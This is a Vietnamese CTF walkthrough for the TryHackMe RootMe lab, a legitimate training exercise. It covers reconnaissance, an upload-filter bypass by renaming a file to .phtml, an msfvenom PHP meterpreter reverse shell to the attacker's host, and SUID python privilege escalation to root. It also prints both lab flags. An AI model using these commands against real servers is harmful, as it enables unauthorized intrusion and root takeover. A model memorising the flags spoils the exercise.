IP

10.10.179.144

Recon

Nmap

nmap -A -Pn -n -T3 10.10.179.144 -oN nmap.log
 
Nmap scan report for 10.10.179.144
Host is up (0.28s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)
|   256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)
|_  256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: HackIT - Home
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.13 seconds

Phân tích:

  • Port 22 chạy OpenSSH 7.6p1
  • Port 80 chạy Apache httpd 2.4.29
  • Hệ điều hành là Linux

Gobuster

Tìm các thư mục ẩn:

gobuster dir -u http://10.10.179.144 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

Kết quả:

/uploads              (Status: 301) [Size: 316] [--> http://10.10.179.144/uploads/]
/css                  (Status: 301) [Size: 312] [--> http://10.10.179.144/css/]
/js                   (Status: 301) [Size: 311] [--> http://10.10.179.144/js/]
/panel                (Status: 301) [Size: 314] [--> http://10.10.179.144/panel/]
...

Nuclei

Phát hiện công nghệ web sử dụng là PHP:

nuclei -u http://10.10.179.144/
 
...
[apache-detect] [http] [info] http://10.10.179.144/ [Apache/2.4.29 (Ubuntu)]
[php-detect] [http] [info] http://10.10.179.144/
...

Exploit

Endpoint /panel cho phép upload file:

Thử upload một file tmp.html có chứa payload XSS thì trang web thông báo như sau:

O arquivo foi upado com sucesso!

Đây là tiếng Bồ Đào Nha, có nghĩa là “Tệp đã được tải lên thành công!“.

Endpoint /uploads cho phép xem những file đã up. Truy cập vào đường dẫn /uploads/tmp.html thì payload XSS thực hiện thành công:

Tạo ra reverse shell bằng msfvenom:

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.11.79.35 LPORT=9999 -f raw > revshell.php

Upload lên thì bị báo lỗi “PHP không được phép!“. Đổi đuôi thành .php3 rồi up lại thì thành công.

Chạy meterpreter với module php/meterpreter_reverse_tcp:

msf6 > use php/meterpreter_reverse_tcp
msf6 payload(php/meterpreter_reverse_tcp) > set lhost tun0
msf6 payload(php/meterpreter_reverse_tcp) > set lport 9999
msf6 payload(php/meterpreter_reverse_tcp) > exploit

Truy cập đến endpoint /uploads/revshell.php3 nhưng không nhận được reverse shell. Đổi đuôi thành .phtml thì mới nhận được:

msf6 payload(php/meterpreter_reverse_tcp) > sessions 1
[*] Starting interaction with 1...
 
meterpreter > ls
Listing: /var/www/html/uploads
 
Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100644/rw-r--r--  418    fil   2024-03-29 17:15:15 +0700  revshell.html
100644/rw-r--r--  382    fil   2024-03-29 17:13:04 +0700  revshell.js
100644/rw-r--r--  34850  fil   2024-03-29 17:28:18 +0700  revshell.php3
100644/rw-r--r--  34850  fil   2024-03-29 17:32:26 +0700  revshell.phtml
100644/rw-r--r--  26     fil   2024-03-29 17:09:04 +0700  tmp.html

Tìm được file user.txt chứa flag ở trong thư mục /var/www:

meterpreter > ls
Listing: /var/www
 
Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100600/rw-------  129   fil   2020-08-05 00:54:00 +0700  .bash_history
040755/rwxr-xr-x  4096  dir   2020-08-05 00:19:04 +0700  html
100644/rw-r--r--  21    fil   2020-08-05 00:30:23 +0700  user.txt

Success

THM{y0u_g0t_a_sh3ll}

Escalation

Tìm các file có chứa SUID:

find / -type f -perm -04000 -ls 2>/dev/null

Tìm thấy python:

266770   3580 -rwsr-sr-x   1 root     root        3665768 Aug  4  2020 /usr/bin/python

Tìm trên GTFOBins thì có cách exploit như sau:

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Nhớ chuyển sang dùng shell của host để chạy lệnh trên.

Kết quả:

id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)

Info

Trong lúc thăm dò thì thấy có file /var/www/.bash_history chứa nội dung như sau:

meterpreter > cat .bash_history
id
whoami
ls
ls
cd /var
ls
cd www
ls
cat user.txt
find / -perm /4000
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
exit

Có thể thấy thì đây chính là những câu lệnh được sử dụng để giải room này.

Đọc file /root/root.txt sẽ có được cờ.

Success

THM{pr1v1l3g3_3sc4l4t10n}

list
from outgoing([[TryHackMe - RootMe]])
sort file.ctime asc

Resources